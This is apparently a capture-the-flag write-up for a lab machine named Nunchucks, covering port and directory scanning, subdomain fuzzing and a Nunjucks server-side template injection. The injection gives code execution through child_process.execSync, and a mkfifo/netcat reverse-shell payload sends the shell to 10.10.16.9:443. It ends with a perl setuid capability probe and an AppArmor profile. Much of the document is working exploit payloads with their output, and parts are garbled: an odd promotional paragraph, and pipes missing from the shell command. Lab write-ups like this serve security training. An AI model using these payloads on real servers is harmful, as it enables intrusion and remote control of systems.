

Information Gathering

1) Found open web ports

```
(vigneswar@vigneswar)-[~]
$ nmap 10.10.11.122
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-05 19:52 IST
Nmap scan report for 10.10.11.122
Host is up (0.62s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https

Nmap done: 1 IP address (1 host up) scanned in 68.35 seconds

(vigneswar@vigneswar)-[~]
$ nmap 10.10.11.122 -p80,443 -sV
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-05 19:54 IST
Nmap scan report for 10.10.11.122
Host is up (0.30s latency).

PORT      STATE SERVICE  VERSION
80/tcp    open  http     nginx 1.18.0 (Ubuntu)
443/tcp   open  ssl/http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.72 seconds
```

2) Only 5 pages are available

The screenshot shows a terminal window on the left and a web browser on the right. The terminal window displays the command to run ffuf with a directory list and a fuzzing target. The output shows the fuzzing process with various status codes and response sizes. The web browser on the right displays the Nunchucks landing page, which includes a navigation menu, a main content area with a 'Features' section, and a footer with links to 'Home', 'Intro', 'Features', 'Details', 'Privacy', 'Terms', and 'Signup'.

```
(vigneswar@vigneswar)~$ ffuf -w SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -u https://nunchucks.htb/FUZZ -ic -fs 45 -t 200
```

```
v2.0.0-dev
```

```
:: Method : GET
:: URL : https://nunchucks.htb/FUZZ
:: Wordlist : FUZZ: /home/vigneswar/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 45
```

```
[Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 951ms]
* FUZZ: /home/vigneswar/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
```

```
[Status: 200, Size: 19134, Words: 5929, Lines: 251, Duration: 534ms]
* FUZZ: privacy
```

```
[Status: 200, Size: 17753, Words: 5558, Lines: 246, Duration: 536ms]
* FUZZ: terms
```

```
[Status: 200, Size: 9488, Words: 3266, Lines: 188, Duration: 306ms]
* FUZZ: signup
```

```
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 445ms]
* FUZZ: assets
```

The web browser displays the Nunchucks landing page. The page has a dark theme and includes a navigation menu with links to Home, Intro, Features, Details, Privacy, Terms, and Signup. The main content area features a 'Features' section with a list of features and a 'Get it now' button. The footer contains the same navigation links as the header.

3) Found a subdomain

```
(vigneswar@vigneswar)-[~]
$ ffuf -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://10.10.11.122 -H "Host: FUZZ.nunchucks.htb" -H "Cookie: FUZZ" -t 100 -fs 30589

v2.0.0-dev

:: Method      : GET
:: URL         : https://10.10.11.122
:: Wordlist    : FUZZ: /home/vigneswar/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header     : Cookie: FUZZ
:: Header     : Host: FUZZ.nunchucks.htb
:: Follow redirects: false
:: Calibration : false
:: Timeout    : 10
:: Threads    : 100
:: Matcher    : Response status: 200,204,301,302,307,401,403,405,500
:: Filter     : Response size: 30589

[Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 1752ms]
* FUZZ: store

:: Progress: [4989/4989] :: Job [1/1] :: 97 req/sec :: Duration: [0:01:26] :: Errors: 0 ::
```

4) Found SSTI

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 POST /api/submit HTTP/1.1 2 Host: store.nunchucks.htb 3 Cookie: _csrf=kxkQxYaQvdfKiTT_mWLO4dwx 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 5 Accept: */* 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Referer: https://store.nunchucks.htb/ 9 Content-Type: application/json 10 Content-Length: 19 11 Origin: https://store.nunchucks.htb 12 Sec-Fetch-Dest: empty 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Site: same-origin 15 Te: trailers 16 Connection: close 17 18 { "email": "{{7*7}}" }</pre>				<pre>1 HTTP/1.1 200 OK 2 Server: nginx/1.18.0 (Ubuntu) 3 Date: Thu, 05 Oct 2023 16:28:09 GMT 4 Content-Type: application/json; charset=utf-8 5 Content-Length: 75 6 Connection: close 7 X-Powered-By: Express 8 ETag: W/"4b-X79sUiArPHkUd9eYQd+2RjLRkTA" 9 10 { "response": "You will receive updates on the following email address: 49." }</pre>			

Nunjucks is a rich and powerful templating language for JavaScript made by Mozilla which we all know by their work on Firefox. In short, Nunjucks is rich, convenient, and convenient for newbies and experts alike. Due to its light structure, you know already that the execution of Nunjucks will be fast and flawless. The tool is also flexible and extendable with custom filters and extensions which you can introduce at free will. You can employ Nunjucks in node or any other modern and well-liked browser. There are many different examples on the Nunjucks page for you to get the gist of it.

Finally, the exploit to access the underlying operating system can be finalised executing `tail /etc/passwd` via the `child_process.execSync()` method.

```
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
```

Exploitation

1) Got RCE

Request		Response	
Pretty	Raw	Pretty	Raw
<pre>1 POST /api/submit HTTP/1.1 2 Host: store.nunchucks.htb 3 Cookie: _csrf=kxkQxYaQvdfKiTT_mWL04dwx 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 5 Accept: */* 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Referer: https://store.nunchucks.htb/ 9 Content-Type: application/json 10 Content-Length: 127 11 Origin: https://store.nunchucks.htb 12 Sec-Fetch-Dest: empty 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Site: same-origin 15 Te: trailers 16 Connection: close 17 18 { "email": "{{range.constructor(`\`return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\`)}{}}}" }</pre>		<pre>1 HTTP/1.1 200 OK 2 Server: nginx/1.18.0 (Ubuntu) 3 Date: Thu, 05 Oct 2023 16:48:22 GMT 4 Content-Type: application/json; charset=utf-8 5 Content-Length: 744 6 Connection: close 7 X-Powered-By: Express 8 ETag: W/"2e8-J+TpLegg6E10sr/u8xxp/hXEgcY" 9 10 { "response": "You will receive updates on the following email address: lxd:x:998:100::/var/snap /lxd/common/lxd:/bin/false\nrtkit:x:113:117:RealtimeKit,,,:/proc:/usr/sbin/nologin \ndnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\ngeoclue:x:115:12 0::/var/lib/geoclue:/usr/sbin/nologin\navahi:x:116:122:Avahi mDNS daemon,,,:/var/r un/avahi-daemon:/usr/sbin/nologin\ncups-pk-helper:x:117:123:user for cups-pk-helpe r service,,,:/home/cups-pk-helper:/usr/sbin/nologin\nsaned:x:118:124::/var/lib/san ed:/usr/sbin/nologin\ncolor:x:119:125:color: colour management daemon,,,:/var/lib /color:/usr/sbin/nologin\npulse:x:120:126:PulseAudio daemon,,,:/var/run/pulse:/u sr/sbin/nologin\nmysql:x:121:128:MySQL Server,,,:/nonexistent:/bin/false\n." }</pre>	

2) got the shell

Request	
Pretty	Raw
<pre>1 POST /api/submit HTTP/1.1 2 Host: store.nunchucks.htb 3 Cookie: _csrf=kxkQxYaQvdfKiTT_mWL04dwx 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 5 Accept: */* 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Referer: https://store.nunchucks.htb/ 9 Content-Type: application/json 10 Content-Length: 142 11 Origin: https://store.nunchucks.htb 12 Sec-Fetch-Dest: empty 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Site: same-origin 15 Te: trailers 16 Connection: close 17 18 { "email": "{{range.constructor(`\`return global.process.mainModule.require('child_process').execSync('rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f bash -i 2>&1 nc 10.10.16.9 443 > /tmp/f\`)}{}}}" }</pre>	

3) Got the user flag

```
david@nunchucks:~$ ls
ls
user.txt
david@nunchucks:~$ cat user.txt
cat user.txt
be14b233e50431cb9a9e60d35e7466be
david@nunchucks:~$
```

Privilege Escalation

1) Found setuid capability on perl

```
david@nunchucks:/var/www/store.nunchucks$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
```

2) SetUid doesnt work

```
david@nunchucks:/var/www/store.nunchucks$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "chmod +s /bin/bash";'
```

3) Checked the apparmor configuration

```
david@nunchucks:/var/www/store.nunchucks$ cat /etc/apparmor.d/usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
    #include <abstractions/base>
    #include <abstractions/namespace>
    #include <abstractions/perl>

    capability setuid,

    deny owner /etc/nsswitch.conf r,
    deny /root/* rwx,
    deny /etc/shadow rwx,

    /usr/bin/id mrix,
    /usr/bin/ls mrix,
    /usr/bin/cat mrix,
    /usr/bin/whoami mrix,
    /opt/backup.pl mrix,
    owner /home/ r,
    owner /home/david/ r,

}
```

- To indicate the access the binary will have over **files** the following **access controls** can be used:
 - **r** (read)
 - **w** (write)
 - **m** (memory map as executable)
 - **k** (file locking)
 - **l** (creation hard links)
 - **ix** (to execute another program with the new program inheriting policy)
 - **Px** (execute under another profile, after cleaning the environment)
 - **Cx** (execute under a child profile, after cleaning the environment)
 - **Ux** (execute unconfined, after cleaning the environment)